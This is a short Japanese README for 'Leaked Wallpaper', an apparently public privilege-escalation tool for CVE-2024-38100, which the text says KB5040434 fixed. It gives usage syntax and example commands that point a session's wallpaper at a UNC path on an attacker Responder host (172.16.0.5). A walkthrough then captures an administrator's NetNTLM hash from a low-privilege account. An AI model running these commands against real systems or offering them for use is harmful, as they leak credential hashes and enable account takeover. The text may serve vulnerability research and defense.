Leaked Wallpaper

これは権限昇格ツールです（KB5040434 で CVE-2024-38100 として修正済み）。低権限ユーザーで作業している場合でも、コンピューター上の任意のセッションからユーザーの NetNTLM ハッシュを漏えいさせることができます。

使用方法

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg [-downgrade]

# Example
  .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg -downgrade

デモ

動画

https://youtu.be/InyrqNeaZfQ

ブロックされている場合は、demo.mkv を参照してください。

スクリーンショット

ホスト上に2つのセッションがあるとします。

• administrator は特権アカウントであり、私たちが取得したい NetNTLM ハッシュを持つアカウントです。
• exploit は低権限アカウントであり、私たちはそのアカウントから操作しています。

現在のセッション ID: 2 対象セッション ID: 1

Responder IP: 172.16.0.5 Windows IP: 172.16.0.2

このツールを使って administrator の NetNTLM ハッシュを取得しましょう！

.\LeakedWallpaper 1 \\172.16.0.5\c$\1.jpg

成功！